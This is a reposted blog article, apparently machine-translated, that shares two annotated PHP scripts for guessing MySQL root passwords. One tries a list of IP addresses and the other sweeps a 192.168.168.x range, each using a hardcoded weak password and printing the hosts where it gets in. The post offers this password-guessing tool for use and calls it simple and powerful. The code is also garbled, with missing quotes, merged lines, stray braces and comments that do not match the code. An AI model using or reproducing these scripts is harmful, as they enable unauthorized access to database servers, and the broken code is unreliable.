From:angels Blog Source URL: http://www.sablog.net/blog/archives/479/
I was browsing online just now and accidentally saw this program on little A (angel)’s blog. It is very simple and powerful! hehe! ~It is implemented in PHP. I added code comments based on what he wrote to make it easier for friends who don’t understand PHP to understand. Without further ado, here’s the code !
//When it is known that the specified database server has port 3306 open, execute the following PHP script to guess.
Code-1:
$hostdb = array(
192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50 ,
192.168 .168.60,
192.168.168.70,
192.168.168.80,
192.168.168.90,
192.168.168.100
); //Put these IP addresses into the predefined array Inside
$dbu = root;
foreach ($hostdb as $host) { echo $host. - .$dbu. - .$dbp. ... OK
;
} >}
echo done.;
?>
//The following code scans the specified IP address segment.
Code-2:
$ips = 192.168.168.; Defined username$dbp = 1qaz2wsx; //Pre-defined password
for ($i=1; $i<254; $i++) { //Set a for loop, and accumulate one by one on the basis of 192.168.1.1 until 192.168.1.254
if(@mysql_connect($ips.$i, $dbu, $dbp)) { //Try to connect to it echo $ips.$i. - .$dbu. - .$dbp. ... OK
; //If the connection is successful, print it out
}}
echo done.;
?>
http://www.bkjia.com/PHPjc/508455.html
www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508455.html
TechArticleFrom:angels Blog Source URL: http://www.sablog.net/blog/archives/479/ Just now I was browsing around on the Internet and accidentally saw this program on Xiao A (angel)'s blog. It is very simple and powerful! ...